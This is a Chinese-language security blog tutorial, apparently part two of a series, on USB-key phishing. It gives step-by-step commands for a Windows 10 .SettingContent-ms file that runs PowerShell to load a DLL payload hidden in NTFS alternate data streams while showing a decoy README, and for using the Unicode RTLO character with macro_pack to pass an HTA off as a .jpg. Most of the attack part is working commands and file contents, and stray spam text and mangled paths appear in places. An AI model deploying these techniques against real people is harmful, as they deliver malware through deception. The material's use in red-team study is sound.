高級USB key釣魚攻擊的三種攻擊場景(二)
前言
前面,我已經向大家介紹了高級USB key釣魚攻擊三種攻擊場景中的第一種場景,今天我接著介紹後兩種。
攻擊場景二
假如攻擊的目標系統是MS Windows 10,且利用的是SettingContent-ms文件進行攻擊。SpecterOps的利發國際手機客戶端研究員Matt Nelson發現Windows 10中添加的一種文件類型格式可以被攻擊者利用,在用戶利發國際手機客戶端機上執行惡意代碼。這種文件類型為".SettingContent-ms",這是Windows 10在2015年引入的文件格式。這種文件類型是用來在windows 10設置頁面創建快捷方式的。
攻擊策略
在這個攻擊策略中,我計劃誘導攻擊目標打開「README.txt」文件,而實際上它只是個誘導文件,真正正在運行的是惡意的settingcontent-ms文件。
因為settingcontent-ms文件遵循嚴格的XML模式,所以不可能像我在模擬測試一中使用惡意快捷方式一樣,將它們嵌入在HTA文件中。不過,我可以使用NTFS的交換數據流(alternate data streams,簡稱ADS)來隱藏並運行DLL載荷。
此settingcontent-ms文件將執行隱藏在交換數據流(README.txt.settingcontent-ms:R)中的DLL,同時settingcontent-ms文件將運行Notepad以顯示存儲的另一個ADS中的誘導文本(README.txt.settingcontent-ms:T.txt )。
setupcontent-ms文件的好處是它們沒有像LNK或URI文件那樣的快捷箭頭。
構建誘導文本文件
我會首先創建一個簡單的文本文件,其中包含我希望在目標文件中打開readme時在Notepad中顯示的文本。
echo "This is a simple README file." > Text.txt
構建惡意設置快捷方式文件
我可以使用macro_pack生成settincontent-ms文件,例如,要生成一個錯誤的README.txt文件,該文件就會啟動一個運行calc的命令行:
echo "C:windowssystem32cmd.exe /c calc.exe" "." | macro_pack.exe -G README.txt.settingcontent-ms
不過我真正想要的是啟動有效載荷,DLL和誘導文件將隱藏在USB key的NTFS文件系統中的交換數據流中。我遇到的問題是setcontent-ms文件默認只在「C:windowssystem32」中打開,這意味著我必須找到USB key所對應的卷標。本文,我使用的是powershell,不過也可能還有其他方法。
以下就是我想要執行的命令行:
%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType="2"").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"
該命令行能完成的操作有:
1.調用wmi找到USB key所對應的卷標,並將其放入$drive變數;
2.啟動notepad,以在README.txt.settingcontent-ms:T.txt中打開誘導文本文件;
3.啟動control.exe,以在README.txt.settingcontent-ms:R中載入DLL有效載荷;
請注意,此時,你也可以像在模擬測試一中那樣使用rundll32載入DLL,但是我覺得還有其他更好的方案。
README.txt.settingcontent-ms文件最終如下所示:
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType="2"").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"
.
@shell32.dll,-4161
@shell32.dll,-4161
創建交換數據流
首先,你必須確保USB key已使用NTFS文件系統格式化,然後將README.txt.settingcontent-ms文件複製到NTFS USB key中。在這個例子中,USB key所的卷標為「G:」,現在開始創建交換數據流。
首先創建包含DLL的README.txt.settingcontent-ms:R流:
type payload.dll > G:README.txt.settingcontent-ms:R
其次創建包含誘導文本的G:README.txt.settingcontent-ms:T.txt流:
type Text.txt > G:README.txt.settingcontent-ms:T.txt
最後使用streams工具檢查USB key上所創建的交換數據流,streams是一個查找文件是否有數據流文件寄存的工具。
注意:如果在USB key上編輯並保存README.txt.settingcontent-ms,則與文件關聯的交換數據流將丟失,你也需要重複執行上述的兩個命令。
模擬攻擊
將USB key插入另一台Windows 10計算機後,雙擊「README.txt」。此時,你應該看到可以看到DLL被成功載入,並且notepad也自動打開,展示「This is a simple README file. 」的文本信息。
攻擊場景三
利用Unicode RTLO模擬攻擊,假設目標系統是MS Windows以及其他系統。
攻擊策略
在這個模擬測試中,我將通過注入Unicode Right-To-Left-Overrive(RTLO)字元來偽裝文件的擴展名。據了解,「RTLO」字元全名為「RIGHT-TO-LEFTOVERRIDE」,是一個不可顯示的控制類字元,其本質是unicode字元。「RTLO」字元可使電腦將任意語言的文字內容按倒序排列,最初是用來支持一些從右往左寫的語言的文字,比如阿拉伯語,希伯來語。由於它可以重新排列字元的特性,會被不法分子利用從而達到欺騙目標,使得用戶運行某些具有危害性的可執行文件。例如,通過將Windows自帶的記事本notepad.exe程序重命名,先插入「RTLO」字元,加上「txt.exe」,最後就能成功偽裝出一個「exe.txt」的普通文檔,但文件仍是exe可執行文件。
在本例中,我使用了帶有錯誤「.jpg」擴展名的macro_pack生成運行calc的HTA文件。
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在資源管理器中,文件將顯示為「calcath.jpg」,實際上它是按著「calc [rtlo] gpj.hta」運行的。
這種方法很有趣,也適用於其他操作系統,如Ubuntu。它也可能適用於其他應用程序,如郵件客戶端等。
模擬攻擊
目前有多種方法可以利用unicode RTLO進行網路釣魚攻擊,一種可能性是將惡意exe文件偽裝成zip文件,例如,更改文件圖標並應用RTLO,此時文件名看起來以.zip結束。
此時,當用戶單擊假的zip文件時,exe將運行有效載荷並打開隱藏在文件資源或交換數據流中的誘導zip文檔。
※如何在Microsoft Translator中越權刪除1.3萬個項目
※加密貨幣挖礦殭屍通過潛在的垃圾網站攻擊運行SSH服務的設備
TAG:嘶吼RoarTalk |